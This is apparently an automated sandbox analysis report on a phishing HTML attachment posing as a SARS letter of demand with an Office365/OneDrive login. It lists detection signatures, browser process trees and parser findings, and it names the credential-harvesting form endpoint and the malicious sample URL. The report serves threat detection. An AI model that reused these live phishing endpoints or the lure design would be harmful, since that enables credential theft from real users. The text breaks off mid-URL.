Edit tour

Windows Analysis Report
https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D"Letter%20of%20demand.html"&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef

Overview

General Information

Sample URL:	https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D"Letter%20of%20demand.html%2
Analysis ID:	1653549
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

AI detected landing page (webpage, office document or email)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

None HTTPS page querying sensitive user data (password, username or email)

Suspicious form URL found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2148 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2284,i,12829158491185779263,15304005470192599735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2316 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,16346291542299837465,6927087960113357566,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250331-201422.437000 --mojo-platform-channel-handle=2112 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Downloads\Letter of demand.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c

Avira URL Cloud: detection malicious, Label: phishing

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.0.pages.csv
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.1.pages.csv
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.10.pages.csv

AI detected landing page (webpage, office document or email)

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	Joe Sandbox AI: Page contains button: 'VIEW' Source: '0.0.pages.csv'
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	Joe Sandbox AI: Page contains button: 'VIEW' Source: '0.7.pages.csv'
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	Joe Sandbox AI: Page contains button: 'VIEW SARS LETTER' Source: '1.1.pages.csv'
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	Joe Sandbox AI: Page contains button: 'VIEW SARS LETTER' Source: '1.10.pages.csv'

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: Number of links: 1
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: Number of links: 1
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: Total embedded image size: 220453
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: Total embedded image size: 220453

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html

HTTP Parser: Base64 decoded: Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@...

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: Title: Office365 Onedrive does not match URL
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: Title: Office365 Onedrive does not match URL
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: Has password / email / username input fields
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: Form action: https://newmeofsales.com/client3.php
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: Form action: https://newmeofsales.com/client3.php

Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: <input type="password" .../> found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: No favicon
Source: https://newmeofsales.com/others.htm	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No favicon

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0p